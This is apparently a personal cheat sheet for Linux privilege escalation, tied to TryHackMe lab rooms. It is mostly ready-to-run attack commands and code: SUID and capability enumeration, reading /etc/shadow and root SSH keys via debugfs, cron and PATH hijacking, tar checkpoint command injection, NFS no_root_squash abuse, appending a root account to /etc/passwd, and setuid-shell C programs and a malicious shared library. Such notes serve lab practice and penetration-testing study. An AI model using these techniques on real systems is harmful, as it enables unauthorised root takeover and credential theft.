Privilege Escalation

PrivEsc: Exploits

Identify the kernel version
Search and find an exploit code for the kernel version of the target system
Run the exploit

PrivEsc: Sudo

sudo -l
https://gtfobins.github.io/
Leverage LD_PRELOAD
Use can run script as other user sudo -u <user-name> /opt/script/script.sh

PrivEsc: root

su root
|<- root

PrivEsc: Pass

check /etc/passwd - for passwords
check history files - for passwords
check /var/backups/ - for passwords
check each home dir - for passwords

PrivEsc: SUID

If the SUID permissions are set, the binary will run with the permissions of the file owner, check https://gtfobins.github.io/

find / -perm -u=s -type f 2>/dev/null

find / -type f -perm -04000 -ls 2>/dev/null
find / -perm -4000 2>/dev/null
find / -type f -perm -04000 -ls 2>/dev/null
find / -perm -4000 2>/dev/null
find / -type f -perm -u=s 2>/dev/null
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

PrivEsc: Capabilities

getcap -r / 2>/dev/null

check https://gtfobins.github.io/

PrivEsc: Interesting groups

Disk Group

This privilege is almost equivalent to root access as you can access all the data inside of the machine.

df -h #Find where "/" is mounted
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

Other

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe

PrivEsc: Ld_preload

sudo -l
http://michalszalkowski.com/security/linux/leverage-ld-preload/

PrivEsc: Cron - Overwrite script

cat /etc/crontab

cat /etc/cron*

- Check perminission of script that is executed, if you can overwrite it, you win

PrivEsc: Cron - Overwrite path

check cron configuration, pay attention to PATH

path start with /home/user

cat /etc/crontab
#-> PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin <--
#-> * * * * * root script.sh <-

check the location of script.sh

the location of script is /usr/local/bin/
that mean if you put script.sh upper in hierarchy it will be executed instead of orginal

find / -name script.sh 2>/dev/null
#-> /usr/local/bin/script.sh

crete new script.sh in /home/user

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/script.sh
chmod +x /home/user/script.sh

waith for cron job

cd /tmp
./bash -p

PrivEsc: PATH

What folders are located under $PATH
Does your current user have write privileges for any of these folders?
Can you modify $PATH?

Is there a script/application you can start that will be affected by this vulnerability?

echo $PATH
find / -writable 2>/dev/null | cut -d "/" -f 2 | sort -u
find / -writable 2>/dev/null | grep 'home'
export PATH=/tmp:$PATH

PrivEsc: TAR

echo 'cp /bin/bash /tmp/bash' > runme.sh
echo 'chmod +s /tmp/bash' >> runme.sh
echo "" > "--checkpoint-action=exec=sh runme.sh"  
echo "" > --checkpoint=1
chmod +x runme.sh

/tmp/bash -p

PrivEsc: NFS

run
```
cat /etc/exports
```
check if any share has no_root_squash

if yes mount that share

mkdir -p /tmp/nfs_hacked
sudo mount -t nfs $(target):/home /tmp/nfs_hacked
sudo umount /tmp/nfs_hacked

create nfs.c file in that share

int main() 
{
   setgid(0);
   setuid(0);
   system("/bin/bash");
   return 0;
}

compile

sudo su
gcc nfs.c -o nfs -w
chmod +s nfs

go to target machine and execute nfs

PrivEsc: Writable files

/etc/passwd

ls -la /etc/passwd

Generate a password with one of the following commands.

openssl passwd -1 -salt hacker hacker
# mkpasswd -m SHA-512 hacker
# python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Add user hacker to passwd

echo 'hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash' >> /etc/passwd
echo 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash' >> /etc/passwd

PrivEsc: Hijack shared library

find all binaris with suid

find / -type f -perm -04000 -ls 2>/dev/null
#-> 816078 12 -rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-s

for each interesting finding, check stack trace

strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
#-> open("/usr/lib/libstdc++.so.6", O_RDONLY) = 3
#-> open("/lib/libc.so.6", O_RDONLY)        = 3
#-> open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)

- as you see shared library libcalc.so from /home/user/.config/ is missing recreate missing libcalc.so

echo '#include <stdio.h>' > libcalc.c
echo '#include <stdlib.h>' >> libcalc.c
echo '' >> libcalc.c
echo 'static void inject() __attribute__((constructor));' >> libcalc.c
echo '' >> libcalc.c
echo 'void inject() {' >> libcalc.c
echo '    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");' >> libcalc.c
echo '}' >> libcalc.c

compile

gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c

execute binary

/usr/local/bin/suid-so
whoami
#-> root

PrivEsc: Hijack service

find all binaris with suid

find / -type f -perm -04000 -ls 2>/dev/null
#-> 816762 8 -rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env

for each interesting finding, check stack

strings /usr/local/bin/suid-env
#-> fffff.
#-> l$ L
#-> t$(L
#-> |$0H
#-> service apache2 start     <- -------------------------- TARGET

create malisus service

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c
cd /tmp
gcc /tmp/service.c -o /tmp/service

update path

export PATH=/tmp:$PATH

execute

/usr/local/bin/suid-env
whoami
#-> root

PrivEsc: Hijack service path

find all binaris with suid

find / -type f -perm -04000 -ls 2>/dev/null
#-> 816764 8 -rwsr-sr-x 1 root staff 6899 May 14  2017 /usr/local/bin/suid-env2

for each interesting finding, check stack

strings /usr/local/bin/suid-env2
#-> l$ L
#-> t$(L
#-> |$0H
#-> /usr/sbin/service apache2 start <- --------------------- TARGET

create malicious function

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

execute

/usr/local/bin/suid-env2
whoami
#-> root

Links

https://tryhackme.com/room/linprivesc
https://tryhackme.com/room/linuxprivescarena